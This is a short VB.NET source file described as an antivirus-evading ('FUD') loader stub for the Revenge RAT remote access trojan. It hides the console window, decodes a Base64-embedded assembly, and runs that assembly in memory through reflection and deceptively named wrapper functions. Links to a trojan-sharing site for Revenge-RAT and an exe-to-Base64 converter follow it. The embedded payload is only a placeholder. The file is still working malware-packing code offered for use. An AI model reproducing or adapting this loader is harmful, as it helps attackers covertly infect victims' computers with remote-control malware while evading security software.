Module Module1
    Sub Main()
        'Coded By Salem Mahmoud EntryPoint FUD For Revenge RAT
        FreeConsole()
        Dim H1 As System.Object = CurrentDomain(FromBase64String("*_*"))
        Dim H2 As System.Object = Year(H1.EntryPoint.Invoke(0, New System.DBNull(1 - 2) {}))
    End Sub
    Public Function FromBase64String(ByVal Data As String) As Byte()
        Return CType(GetType(Convert).GetMethod("FromBase64String").Invoke(0, {Data}), Byte())
    End Function
    Public Function CurrentDomain(ByVal Data As Byte()) As Object
        Return System.AppDomain.CurrentDomain.Load(Data)
    End Function
    Declare Function FreeConsole Lib "kernel32" () As Int32
    Public Function Year(ByVal Data As Object) As Object
        Return Microsoft.VisualBasic.Year(Data)
    End Function
End Module

----------------------------------------------------------------------------------

Revenge-RAT v.0.3 By N A P O L E O N
http://www.connect-trojan.net/2016/12/revenge-rat-v.0.3-by-napoleon.html

Convert [Base64] To .exe & .exe To [Base64] By Fabinhoff
http://www.connect-trojan.net/2017/12/convert-base64-to-exe-and-exe-to-base64-by-fabinhoff.html